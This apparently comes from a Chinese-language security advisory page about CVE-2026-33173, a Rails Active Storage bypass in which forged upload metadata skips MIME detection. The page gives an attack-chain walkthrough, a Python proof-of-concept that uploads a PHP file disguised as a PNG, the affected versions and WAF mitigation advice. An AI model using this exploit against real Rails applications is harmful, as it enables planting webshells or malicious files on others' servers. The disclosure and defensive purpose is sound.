IPBUF安全漏洞报告
English
CVE-2026-33173 CVSS 5.3 中危

CVE-2026-33173 Rails Active Storage 验证绕过漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33173
漏洞类型
验证绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Ruby on Rails

相关标签

验证绕过Ruby on Rails文件上传MIME混淆CVE-2026-33173

漏洞概述

Ruby on Rails 的 Active Storage 组件存在验证绕过漏洞。由于 DirectUploadsController 直接信任客户端元数据,攻击者可伪造内部标志跳过 MIME 检测。这允许上传恶意文件并伪装成安全类型,绕过基于内容类型的验证机制。

技术细节

该漏洞源于 Ruby on Rails 的 DirectUploadsController 在处理直接上传请求时,直接将客户端提交的 metadata 持久化到 Blob 记录中,缺乏对关键标志位的校验。Active Storage 内部依赖 identified 和 analyzed 等标志位来决定是否对上传文件执行 MIME 类型的自动识别及内容安全分析。攻击者可构造特定的 HTTP POST 请求,在 metadata 参数中人为设置 identified 和 analyzed 为 true,并将 content_type 伪造为看似安全的类型(如 image/png)。服务器接收到该请求后,误认为文件已通过分析,从而跳过了实际的 MIME 检测流程。利用此漏洞,攻击者可以上传恶意脚本或可执行文件,并伪装成图片或文档,成功绕过依赖 Active Storage 自动识别机制的应用层验证,进而可能导致存储型 XSS 或文件上传漏洞被利用。

攻击链分析

STEP 1
1. 准备恶意文件
攻击者准备一个包含恶意代码的文件(如 webshell 或脚本),但意图将其作为图片上传。
STEP 2
2. 构造恶意请求
攻击者向 DirectUploadsController 发送 POST 请求,在 metadata 字段中手动设置 'identified': true 和 'analyzed': true,并将 content_type 设置为 'image/png'。
STEP 3
3. 服务器处理绕过
Rails 服务器接收到请求,读取 metadata 中的标志位,误以为文件已经过安全分析,因此跳过 MIME 类型的自动检测流程。
STEP 4
4. 写入恶意文件
服务器将攻击者的文件以合法的图片元数据存储在存储后端,但实际内容仍为恶意代码。
STEP 5
5. 后续利用
攻击者利用应用程序对图片的处理逻辑(如文件包含漏洞或直接访问),触发恶意代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-33173 # This script demonstrates how to bypass MIME type detection by manipulating metadata. import requests target_url = "http://target.com/rails/active_storage/direct_uploads" headers = {"Content-Type": "application/json", "Accept": "application/json"} # Malicious payload: Setting 'identified' and 'analyzed' to true to skip server checks # Attacker uploads a PHP file but claims it is a PNG image payload = { "blob": { "filename": "malicious.php", "content_type": "image/png", "byte_size": 1024, "checksum": "dummy_checksum_value", # The vulnerable part: forcing internal flags to true "metadata": { "identified": True, "analyzed": True, "width": 800, "height": 600 } } } response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200 or response.status_code == 201: print("[+] Vulnerability exploited! File uploaded with bypassed validation.") print(f"[+] Response: {response.text}") else: print("[-] Upload failed or patched.")

影响范围

Ruby on Rails < 8.1.2.1
Ruby on Rails < 8.0.4.1
Ruby on Rails < 7.2.3.1

防御指南

临时缓解措施
建议在 WAF 或反向代理层添加规则,检测上传请求中是否包含 'identified' 或 'analyzed' 等异常元数据字段,并拦截此类请求。同时,应在应用层对所有上传文件进行二次病毒扫描和格式验证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表